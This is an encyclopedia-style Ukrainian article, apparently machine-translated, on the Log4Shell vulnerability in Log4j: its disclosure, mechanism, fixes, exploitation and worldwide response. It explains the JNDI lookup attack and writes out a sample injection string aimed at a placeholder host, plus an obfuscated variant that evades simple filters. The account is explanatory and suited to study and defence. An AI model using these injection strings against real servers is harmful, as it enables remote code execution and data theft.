Log4Shell (CVE-2021-44228) — це вразливість нульового дня в Log4j, популярному середовищі ведення журналів Java, що включає виконання довільного коду. Вразливість – її існування не було помічено з 2013 року – було розкрито в приватному порядку Apache Software Foundation, проектом якої є Log4j, Чен Чжаоцзюнь із групи безпеки Alibaba Cloud 24 листопада 2021 року та публічно розкрито 9 грудня 2021 року. Apache дав Log4Shell оцінку серйозності CVSS 10, найвищу доступну оцінку. Підраховано, що експлойт торкається сотень мільйонів пристроїв і дуже простий у використанні.

Уразливість використовує те, що Log4j дозволяє запити до довільних серверів LDAP та JNDI, а не перевіряє відповіді, дозволяючи зловмисникам виконувати довільний код Java на сервері чи іншому комп'ютері або передавати конфіденційну інформацію. Список вразливих програмних проектів був опублікований групою безпеки Apache. Затронуті комерційні служби включають Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam, Tencent QQ та багато інших. За даними Wiz та EY, вразливість торкнулася 93% корпоративних хмарних середовищ.

Експерти охарактеризували Log4Shell як найбільшу вразливість за всю історію; LunaSec охарактеризувала його як «проектний збій катастрофічних масштабів», Tenable сказав, що експлойт був «найбільшою і найкритичнішою вразливістю в історії», Ars Technica назвав його «можливо найсерйознішою вразливістю за всю історію». і The Washington Post заявили, що описи фахівців з безпеки "межують з апокаліпсисом".

Передісторія
Log4j - це бібліотека журналування з відкритим вихідним кодом, яка дозволяє розробникам програмного забезпечення реєструвати дані у своїх додатках. Ці дані можуть включати введення користувача. Він повсюдно використовується в програмах Java, особливо в корпоративному програмному забезпеченні. Спочатку написаний у 2001 році Чекі Гюльджю, тепер він є частиною Apache Logging Services, проекту Apache Software Foundation. Колишній член комісії з кібербезпеки президента Барака Обами Том Келлерманн охарактеризував Apache як «одну з гігантських опор мосту, що сприяє сполучній тканині між світами додатків та комп'ютерним середовищем».

Поведінка
Інтерфейс іменування та каталогів Java (JNDI) дозволяє виконувати пошук об'єктів Java під час виконання програми з урахуванням шляху до даних. JNDI може використовувати кілька інтерфейсів каталогів, кожен із яких забезпечує свою схему пошуку файлів. Серед цих інтерфейсів — полегшений протокол доступу до каталогів (LDAP), протокол, не пов'язаний з Java, який витягує дані об'єкта у вигляді URL-адреси з відповідного сервера, локального або будь-якого іншого в Інтернеті.

У конфігурації за умовчанням під час реєстрації рядка Log4j 2 виконує підстановку рядків у виразах виду ${prefix:name}. Наприклад, Text: ${java:version} можна перетворити на Text: Java version 1.7.0_67. Серед розпізнаних виразів є ${jndi:}; вказавши пошук через LDAP, довільна URL-адреса може бути запитана і завантажена як дані об'єкта Java. ${jndi:ldap://example.com/file} завантажить дані з цієї URL-адреси під час підключення до Інтернету. Вводячи рядок, який реєструється, зловмисник може завантажити та виконати шкідливий код, розміщений на загальнодоступній URL-адресі. Навіть якщо виконання даних вимкнено, зловмисник може отримати дані, такі як секретні змінні середовища, розміщуючи їх в URL-адресі, в якій вони будуть замінені та надіслані на сервер зловмисника. Крім LDAP, інші потенційно використовувані протоколи пошуку JNDI включають його безпечний варіант LDAPS, Java Remote Method Invocation (RMI), систему доменних імен (DNS) та Internet Inter-ORB Protocol (IIOP).

Оскільки HTTP-запити часто реєструються, поширеним вектором атаки є розміщення шкідливого рядка в URL-адресі HTTP-запиту або в HTTP-заголовку, що часто реєструється, такому як User-Agent . Ранні заходи захисту включали блокування будь-яких запитів, що містять потенційно шкідливий вміст, наприклад ${jndi. Наївний пошук можна обійти, заплутавши запит: наприклад, ${${lower:j}ndi буде перетворено на пошук JNDI після виконання малої операції над літерою j. Навіть якщо введення, таке як ім'я, не реєструється відразу, воно може бути пізніше записане під час внутрішньої обробки і його вміст буде виконано.

Виправлення
Виправлення для цієї вразливості випустили 6 грудня 2021 року, за три дні до публікації вразливості, в Log4j версії 2.15.0-rc1. Виправлення включало обмеження серверів і протоколів, які можна використовувати для пошуку. Дослідники виявили пов'язану помилку CVE-2021-45046, яка допускає локальне або віддалене виконання коду в певних конфігураціях, відмінних від налаштувань за умовчанням, і була виправлена ​​у версії 2.16.0, яка відключила всі функції з використанням JNDI та підтримку пошуку повідомлень. Для попередніх версій клас org.apache.logging.log4j.core.lookup. JndiLookup необхідно видалити з шляху до класів, щоб зменшити обидві вразливості. Раніше рекомендоване виправлення для старих версій полягало в установці для системної властивості log4j2.formatMsgNoLookups true, але ця зміна не запобігає використанню CVE-2021-45046.

Більш нові версії Java Runtime Environment (JRE) також зменшують цю вразливість, блокуючи завантаження віддаленого коду за умовчанням, хоча в деяких додатках все ще існують інші напрямки атак. Було опубліковано кілька методів та інструментів, які допомагають виявити використання вразливих версій log4j у вбудованих пакетах Java.

Використання
Експлойт дозволяє хакерам отримати контроль над вразливими пристроями за допомогою Java. Деякі хакери використовують вразливість, щоб використовувати можливості жертв; у тому числі майнінг криптовалюти, створення ботнетів, розсилання спаму, створення бекдорів та інші незаконні дії, такі як атаки програм-вимагачів. Протягом кількох днів після публікації вразливості Check Point відслідковувала мільйони атак, ініційованих хакерами, при цьому деякі дослідники спостерігали швидкість понад сто атак на хвилину, що зрештою призвело до більш ніж 40% атак. бізнес-мереж, які зазнають міжнародних атак.

За словами генерального директора Cloudflare Метью Прінса, докази використання або тестування експлойту з'явилися ще 1 грудня, за дев'ять днів до того, як його було публічно розкрито. Згідно з кібербезпекою фірми GreyNoise, кілька IP-адрес були зіскібами сайтів для перевірки серверів, які мають вразливість. Декілька ботнетів почали сканування на предмет вразливості, включаючи ботнет Muhstik до 10 грудня, а також Mirai, Tsunami та XMRig. Конті було помічено з використанням уразливості 17 грудня.

Деякі групи, що спонсоруються державою в Китаї та Ірані, також використовували експлойт, згідно з Check Point, хоча невідомо, чи використовувався експлойт Ізраїлем, Росією чи США до розкриття вразливості. Check Point заявила, що 15 грудня 2021 року хакери, які підтримує Іран, спробували проникнути в мережі підприємств та уряди Ізраїлю.

Відповідь та вплив

Урядовий
У Сполучених Штатах директор Агентства з кібербезпеки та безпеки інфраструктури (CISA) Джен Істерлі описала експлойт як «один із найсерйозніших, якщо не найсерйозніший, який я бачив за всю свою кар'єру», пояснивши, що сотні мільйонів пристроїв були порушені та рекомендували постачальникам приділяти пріоритетна увага оновлень програмного забезпечення. Громадянські агентства, найняті урядом США, мали до 24 грудня 2021 року виправити вразливості, хоча на той час це вже дозволило б отримати доступ до сотень тисяч цілей.

Канадський центр кібербезпеки (CCCS) закликав організації вжити негайних заходів. Податкове управління Канади тимчасово відключило свої онлайн-сервіси після того, як дізналося про експлойт, тоді як уряд Квебеку закрив майже 4000 своїх веб-сайтів як «превентивний захід».

Федеральне управління безпеки Німеччини (BSI) визначило експлойт як загрозу, що знаходиться на найвищому рівні, назвавши його «надзвичайно критичною небезпечною ситуацією» (перекладено). Він також повідомив, що кілька атак вже були успішними і що масштаби вразливості, як і раніше, важко оцінити. Національний центр кібербезпеки Нідерландів (NCSC) розпочав постійний список вразливих програм.

Міністерство промисловості та інформаційних технологій Китаю призупинило роботу з Alibaba Cloud як партнер з аналізу загроз кібербезпеці на шість місяців через те, що не повідомило про вразливість уряду першим.

Бізнеси
Дослідження, проведене Wiz та EY показало, що 93% хмарного корпоративного середовища були вразливі для Log4Shell. 7% вразливих робочих навантажень доступні в Інтернеті і схильні до широких спроб експлуатації. Згідно з дослідженням, через десять днів після публікації вразливості (20 грудня 2021 року) лише 45% вразливих робочих навантажень було виправлено в середньому в хмарних середовищах. Хмарні дані Amazon, Google і Microsoft торкнулися Log4Shell.

Компанія з управління персоналом і персоналом UKG, одна з найбільших компаній у галузі, зазнала атаки програм-вимагачів, що торкнулася великих підприємств. UKG заявила, що вона не має доказів використання Log4Shell в інциденті, хоча аналітик Аллан Ліска з компанії Recorded Future, що займається кібербезпекою, сказав, що, можливо, існує зв'язок.

Оскільки великі компанії почали випускати виправлення для експлойту, ризик для малого бізнесу збільшився, оскільки хакери зосередилися на більш вразливих цілях.

Конфіденційність
Персональні пристрої, такі як Smart TV та камери відеоспостереження, підключені до Інтернету, були вразливими для експлойту.

Аналіз
Станом на 14 грудня 2021 року майже половину всіх корпоративних мереж у світі було активно досліджено, і протягом доби було створено понад 60 варіантів експлойту. Check Point Software Technologies у докладному аналізі описала ситуацію як «справжню кіберпандемію» та охарактеризувала можливість завдання шкоди як «незліченну». У кількох початкових рекомендаціях було завищено кількість вразливих пакетів, що призводило до помилкових спрацьовувань. Зокрема пакет «log4j api» був відзначений як уразливий, тоді як насправді подальші дослідження показали, що вразливим був лише основний пакет «log4j-core».

Це було підтверджено як у вихідній галузі випуску, так і зовнішніми дослідниками безпеки.

Технологічний журнал Wired написав, що, незважаючи на попередній«галас» навколо численних уразливостей, «галас навколо вразливості Log4j… виправдовує себе з цілого ряду причин». Журнал пояснює, що всюдисутність log4j, вразливість якої важко виявити за потенційними цілями, і легкість передачі коду на комп'ютер жертви створили «поєднання серйозності, доступності та поширеності, яка вразила фахівців з безпеки». Wired також схематично представив послідовність використання Log4Shell хакерами: групи, що займаються майнінгом, криптовалют першими почнуть експлуатувати вразливість, потім торговці даними продадуть «плацдарм» кіберзлочинцям, які нарешті займуться вимаганням, шпигунством та знищенням даних.

Аміт Йоран, генеральний директор Tenable і директор-засновник групи готовності до комп'ютерних надзвичайних ситуацій у США, заявив: «Log4Shell, безумовно, найбільша та критична вразливість в історії», зазначивши, що витончені атаки почалися невдовзі після помилки, заявивши: " Ми також вже бачимо, що він використовується для атак програм-вимагачів, що, знову ж таки, має стати серйозним сигналом тривоги.... Ми також бачили повідомлення про зловмисників, які використовують Log4Shell для знищення систем, навіть не намагаючись отримати викуп,— досить незвичайне поведінка". Старший дослідник загроз Sophos Шон Галлахер сказав: "Чесно кажучи, найбільша загроза тут полягає в тому, що люди вже отримали доступ і просто користуються ним, і навіть якщо ви усунете проблему, хтось вже перебуває в мережі. . . Він буде існувати стільки ж, скільки й Інтернет”.
Примітки

